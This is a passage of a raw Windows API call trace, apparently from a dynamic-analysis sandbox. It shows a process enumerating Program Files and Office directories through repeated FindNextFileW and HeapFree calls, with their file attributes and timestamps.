	[0085.101] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1
	[0085.124] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0085.124] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0
	[0085.124] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0085.125] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0085.125] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1
	[0085.128] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0085.128] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1
	[0085.128] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0085.128] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0085.136] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0085.136] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0
	[0085.136] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0085.136] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0085.136] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1
	[0085.136] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0085.136] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0086.045] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0086.045] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0086.046] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.046] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0086.062] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.063] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0086.071] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0086.071] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0086.071] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.071] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0086.071] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.071] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
	[0086.073] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.073] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0086.074] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.074] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0086.075] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.075] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0086.077] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0086.077] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0086.078] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0086.078] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1
	[0086.080] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0086.080] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1
	[0086.081] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0086.081] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0086.081] FindClose (in: hFindFile=0x3121190 | out: hFindFile=0x3121190) returned 1
	[0086.081] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0086.081] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0086.082] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0086.082] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0086.082] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0086.082] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0086.083] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0086.083] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0
	[0086.083] FindClose (in: hFindFile=0x3121410 | out: hFindFile=0x3121410) returned 1
	[0086.083] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0086.083] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0086.084] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.085] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0086.085] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0086.085] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0086.086] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.086] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0086.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0086.087] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0086.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.087] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0086.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0086.087] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0086.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0086.087] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1
	[0086.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0086.087] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1
	[0086.362] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.362] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0086.362] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.362] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0086.362] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.362] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0086.363] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.363] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0086.363] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
